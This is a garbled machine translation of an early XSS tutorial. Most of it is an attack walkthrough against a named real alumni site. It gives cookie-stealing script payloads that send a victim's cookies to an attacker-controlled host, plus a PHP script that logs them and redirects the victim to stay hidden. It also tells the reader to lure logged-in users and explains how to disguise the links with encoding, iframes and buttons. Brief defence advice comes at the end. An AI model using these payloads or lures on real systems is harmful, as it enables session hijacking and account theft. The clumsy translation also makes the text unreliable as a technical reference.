Cross-site script execution vulnerability detailed and protection-Trojan related

This article mainly introduces the cause of the Cross Station script execution vulnerability, forms, hazards, exploits, hidden techniques, solutions, and FAQs (FAQ), because the current information on the execution of Cross-site scripts is not very much, and generally not very detailed, so I hope this article will be able to describe the vulnerability in more detail. Because the time is short, the level is limited, this article may have many mistakes, hoped that everybody does not hesitate to enlighten.

Declaration, please do not use any of the content described in this article, code or methods to destroy, otherwise all the consequences of conceit!

"The cause of the loophole"
The reason is simple, because the CGI program does not filter or convert the HTML code in the user-submitted variables.

"Vulnerability Form"
The form described here, in effect, refers to the form of CGI input, which is divided into two main types:
1. Show input
2. Implicit input
The display input explicitly requires the user to enter data, while the implicit input does not require the user to enter data, but the user can input data to intervene.
Display input can be divided into two types:
1. Input finished immediately output the result
2. Input completion is stored in a text file or database, and then the result is output
Note: The latter may make your site unrecognizable! ：（
Implicit input, in addition to some normal cases, can also be implemented using a server or CGI program to handle error messages.

"Vulnerability Hazard"
We are most concerned about this problem, the following list may not be comprehensive, but also not the system, but I think it should be more typical of it.
1. To get sensitive data from other user cookies
2. Masking page-specific information
3. Forge Page Information
4. Denial of service attack
5. Break through the different security settings of extranet intranet
6. Combine with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
7. Other
In general, the above hazards are often accompanied by the situation of page deformation. The so-called cross-station script execution vulnerability, that is, through other people's Web site to achieve the effect of attack, that is, this attack to some extent to hide identity.

"How to use"
Here's a concrete example to illustrate the various hazards, which should be more descriptive and easier to understand. In order to be more clear, we will do an experiment for each of the hazards.
In order to do these experiments, we need a grab software, I use iris, of course, you can choose other software, such as NetXRay or something. For specific use, please refer to the relevant Help or manual.
Also, one thing to understand is that there may be a cross-site scripting execution vulnerability as long as the server returns information submitted by the user.
All right, all set, let's do the experiment! ：）

Experiment one: Get sensitive information from other user cookies
We take the famous domestic alumni site 5460.net as an example to illustrate, please follow the following steps:
1. Enter Home http://www.5460.net/
2. Enter user name "3. Analyze the packet data and get the actual request:
Http://www.5460.net/txl/login/login.pl?username=4. Constructs a commit that is able to display user cookie information:
Http://www.5460.net/txl/login/login.pl?username=<script>alert (document.cookie) </script>&passwd =&ok.x=28&ok.y=6
5. If the above request gets the desired effect, then we can try the following request:
Http://www.5460.net/txl/login/login.pl?username=<script>window.open ("http://www.notfound.org/info.php?") %2bdocument.cookie) </script>&passwd=&ok.x=28&ok.y=6
Where http://www.notfound.org/info.php is a script on a host you can control, the function is to get the information of the query string, as follows:
<?php
$info = getenv ("query_string");
if ($info) {
$fp = fopen ("Info.txt", "a");
Fwrite ($FP, $info. " /n ");
Fclose ($FP);
}
Header ("Location:http://www.5460.net");
Note: The URL encoding "%2b" is "+", and only "%2b" can be used here, because "+" will be treated as a space. The header statement that follows is purely to increase concealment.
6. If the above URL works correctly, the next step is to entice a user landing 5460.net to access the URL, and we can get sensitive information from that user's cookie.
7. It's up to you to decide what to do later.

Experiment two: Shielding page specific information
We still use 5460.net as an example, and here is a problematic CGI program:
http://www.5460.net/txl/liuyan/liuyanSql.pl
The CGI program accepts three variables provided by the user, namely Nid,csid and CNAME, but does not perform any checks on the CNAME variables submitted by the user, and the CGI program takes the CNAME value as part of the output page, and the 5460.net users should be more aware that you are in the lower right corner of the message. Name, right?
Now that we have the above conditions, we may as well make the following conclusion:
A user can "block" all messages between their two messages!
Of course, we say "shielding" is not "delete", the user's message is still there, but because of the characteristics of the HTML, we can not see from the page, of course, if you like to see the source code is not useful, but out of our study of CGI security people, How many people have nothing to see the HTML source code?
For a variety of reasons, I will not release the details here, we know the principle is good.
Note: Think carefully, we can not only block messages, but also anonymous message, right?

Experiment three: Fake page information
If you understand the above experiment, there is no need to do the experiment, the basic principle is the same, just to achieve a little bit of trouble.

Experiment IV: Denial of service attacks
It should now be known that we can somehow control the behavior of a server that has a Cross-site scripting vulnerability, in which case we can control how the server consumes resources. For example, run a JavaScript script that contains a dead loop or open an infinite number of windows, and so on. This makes it possible for the user system that accesses the URL to slow down or even crash. Again, we might embed some scripts in it, let the server request resources on other servers, and if the resource being accessed is more resource-intensive and the number of visitors is more numerous, the server being accessed may also be denied service, and it considers the denial of service attack to be initiated by the server accessing it, which To hide identity.

Experiment five: Break through the different security setting in the intranet network
This should be very well understood, in general our browsers set different security levels for different areas. For example, for the Internet zone, you may not allow JavaScript to execute, while in the intranet area you allow JavaScript to execute. Generally speaking, the former security level is higher than the latter. In this way, it is generally impossible for others to attack you by executing a malicious JavaScript script, but if there is a Cross-site scripting vulnerability on a server that is in the same intranet as you, the attacker would have an opportunity because the server is in the intranet zone.

Experiment VI: Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
Because there are so many browser-related vulnerabilities, there are a number of vulnerabilities that can be combined with a cross-site script execution vulnerability. I think we should all be very clear about these issues, some time ago to modify the IE Title vulnerability, error MIME type execution command vulnerabilities, as well as a variety of worms, are good examples.
For more examples, please refer to the following links:
Internet Explorer pop-up OBJECT Tag Bug
Http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local denial of Service vulnerability
Http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
Http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
Http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in msie download dialog
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
The other IE cookie stealing bug (ms01-055)
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin ms01-055
Http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security flaw in Microsoft Internet explorer-zone spoofing
Http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can cause IE to Execute e-mail attachment
Http://www.kriptopolis.com/cua/eml.html

Cross-station script execution vulnerability The role here is to hide the identity of the real attacker.

Experiment VII: OTHER
This kind of problem has little to do with a cross-site scripting vulnerability, but it is necessary to mention it here. The essence of the problem is that the CGI program does not filter the data submitted by the user, and then the output is processed. For example, CGI programs on SSI-enabled servers output data submitted by the user, regardless of how the data is entered, which can lead to the execution of SSI directives. Of course, this is done on the server side, not the client. In fact, CGI languages like asp,php and Perl can cause this kind of problem.

"Hiding tricks."
For the sake of time, I will mainly talk about the theory here, I believe it is not difficult to understand, if there is a problem, then find a book to see.
1. URL encoding
Compare:
Http://www.5460.net/txl/login/login.pl?username=Http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
Which one do you think is more covert?!

2. Hidden under other objects
Do you decide to hide the link under the button better than the direct link to another person?

3. Embedded in Page
Getting someone to visit an address (note that the address is different from the URL mentioned above) is much easier than letting someone press a button, and you can make it more insidious with the help of an IFRAME.

4. Reasonable use of events
Proper use of events can, in some cases, bypass the limitations of the CGI program on input, such as the SecurityFocus execution vulnerabilities of previous days.

"Precautions"
In general, there is no problem with attacks like <script>alert (Document.cookie) </script>, but sometimes CGI programs do some processing of user input, such as "or". , we need to use a few tricks to circumvent these limitations.
If you are familiar with HTML language, bypassing these restrictions should not be a problem.

"Workaround"
To avoid attacks from a cross-site scripting vulnerability, both programmers and users are required to work together:
Programmers:
1. Filter or convert HTML code in user-submitted data
2. Limit the length of user submission data

User:
1. Do not easily access the links that others give you
2. Prevent browsers from running JavaScript and ActiveX code

Attached: the location of common browser modification settings is:
Internet Explorer:
Tool->internet Option-> security->internet-> customization Level
Tool->internet Option-> security->intranet-> customization Level
Opera:
File-> Quick parameter-> allows Java to be used
File-> Quick parameter-> allows plug-ins to be used
File-> Quick parameter-> allows JavaScript to be used

Faq
Q: Where does the cross-station script execution vulnerability exist?
A: As long as the CGI program, as long as the user to allow input, there may be a cross-site scripting execution vulnerability.

Q: Cross-site Scripting vulnerability is it just stealing someone's cookies?
A: Of course not! What the HTML code can do, the cross-station script execution vulnerability can be basically done.